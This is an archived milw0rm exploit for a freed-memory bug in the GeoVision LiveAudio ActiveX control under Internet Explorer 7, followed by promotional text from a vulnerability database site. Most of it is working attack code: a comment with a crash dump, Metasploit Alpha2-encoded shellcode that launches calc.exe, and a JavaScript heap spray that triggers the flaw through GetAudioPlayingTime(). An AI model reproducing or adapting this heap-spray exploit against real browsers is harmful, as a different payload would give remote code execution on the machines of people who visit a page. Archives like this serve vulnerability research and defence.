<!--
02/03/2009 14.57.46
GeoVision LiveAudio ActiveX Control GetAudioPlayingTime() remote freed-memory
access exploit (IE7)
by Nine:Situations:Group::trotzkista
vendor site: http://www.geovision.com.tw/
our site: http://retrogod.altervista.org/
details:
CLSID: {814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8}
Progid: LIVEAUDIO.LiveAudioCtrl.1
Binary Path: C:\WINDOWS\system32\LIVEAU~1.OCX
File Version: 7.0
Implements IObjectSafety: False
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True
vulnerability:
passing certain objects as parameter of GetAudioPlayingTime() method:
...
(298.ed8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled
eax=0174c258 ebx=0174c258 ecx=00020871 edx=00480018 esi=0273f5b4 edi=0000000d
eip=43000000 esp=0273f58c ebp=0273f59c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
43000000 ?? ???
this executes calc.exe, tested against windows xp sp3 with 256 Mb of ram ...
worked all the times
-->
<html>
<object classid='clsid:814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8' id='x'>
</object>
<div id='boom'></div>
<script>
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x41000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<0x800;i++){memory[i] = block+shellcode;if (i < 0x4b0) { memory[i-0x64] = "" }}
try{eval('x.GetAudioPlayingTime(boom,boom)')}catch(e){}
</script>
# milw0rm.com [2009-03-13]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation